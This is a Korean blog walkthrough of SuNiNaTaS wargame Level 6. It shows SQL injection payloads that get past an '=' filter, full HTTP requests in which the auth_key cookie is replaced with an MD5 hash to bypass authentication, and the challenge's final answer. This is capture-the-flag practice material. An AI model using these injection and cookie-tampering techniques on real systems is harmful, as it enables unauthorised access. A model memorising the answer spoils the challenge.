Sh4n3e
써니나타스 : Level 6 본문
input box아래에 "select szPwd from T_Web13 where nIdx = '3' and szPwd = '"&pwd&"'"가 존재하는 것을 보면,
이 부분은 SQL Injection으로 풀어야 하는 것을 깨달을 수 있다.
우리가 기본적으로 아는 ‘ or 1 = 1 -- 을 넣었을 때,
다음과 같이 NO! hacking!이라는 Alert창이 뜬다. 이것은 기본적인 SQL injection을 막아놨다라고 봐도 무방하다.
SQL injection의 원리는 결국 위의 Query문을 참(True)로 만들어 우회하는 것을 목적으로 한다.
따라서 우리는 다른 방법으로 참을 만들어야 함을 깨닫게 된다.
select szPwd from T_Web13 where nIdx = '3' and szPwd = '’ or 1 = 1 -- ' // 실패 |
이 문제는 약간의 센스와 SQL injection의 기본원리를 이해하고 있는지 원하고 있다.
따라서 =(equal)을 제외한, 저 부분에 들어가도 될 만한 후보를 설정해 본다.
‘ or 2 > 1 -- ‘ or 1 like 1 -- |
이것을 넣었을 때, 결과는 다음과 같다.
하지만 곧 우리는 접근권한이 없다는 메시지와 맞닥뜨리게 된다.
결정적인 것은 auth_key=suninatastopofworld! 이다.
Request부분을 살펴보자
GET /Part_one/web06/view.asp?idx=3&num=3&passcode=wkdrnlwnd HTTP/1.1 Host: suninatas.com Proxy-Connection: keep-alive Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.65 Safari/537.36 Referer: http://suninatas.com/Part_one/web06/Serect.asp Accept-Encoding: gzip, deflate, sdch Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.6,en;q=0.4 Cookie: ASPSESSIONIDQSRACCSR=EAAHLECCJLIDGDJJJNBDADLF; auth%5Fkey=%3F%3F%3F%3F%3F |
auth%5Fkey=%3F%3F%3F%3F%3F 는 고쳐보면 auth_key=?????이 된다. 여기서 운영진의 장난놀음이 보인다
단순히 auth%5Fkey=%3F%3F%3F%3F%3F을 auth%5Fkey=suninatastopofworld!로 바꿔봐야 소용없다.
앞에서 우리는 reference!라는 글에서라는 tools.web-max.ca/encode_decode.php 링크를 발견하게 된다.
인코딩과 디코딩 그렇다면 우리는 auth_key를 인코딩해서 보내야한다는 것을 직감적으로 느낄 수 있다.
그리고 hash md5 적용 시 우회가 가능하다는 것을 시도를 통해 알 수 있었다.
md5 : 65038b0559e459420aa2d23093d01e4a
GET /Part_one/web06/view.asp?idx=3&num=3&passcode=wkdrnlwnd HTTP/1.1 Host: suninatas.com Proxy-Connection: keep-alive Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.65 Safari/537.36 Referer: http://suninatas.com/Part_one/web06/Serect.asp Accept-Encoding: gzip, deflate, sdch Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.6,en;q=0.4 Cookie: ASPSESSIONIDQSRACCSR=EAAHLECCJLIDGDJJJNBDADLF; auth%5Fkey=65038b0559e459420aa2d23093d01e4a |
결국 인증을 우회해서 게시판을 읽었다. 우리는 여기서 진짜 Key를 Finding해야 할 것이다.
소스를 보자!
KEY_HINT는 Rome’s First Emperor이란다. 이건 뭘까 생각해보았다.
이 부분은 그냥 센스를 요하는 것이었다.
그렇다. Augustus가 최종 Auth_Key이다.
'Wargame > SuNiNaTaS' 카테고리의 다른 글
써니나타스 : Level 5 (0) | 2017.07.08 |
---|---|
써니나타스 : Level 4 (0) | 2017.07.08 |
써니나타스 : Level 3 (0) | 2017.07.08 |
써니나타스 : Level 2 (0) | 2017.07.04 |
써니나타스 : Level 1 (0) | 2017.07.03 |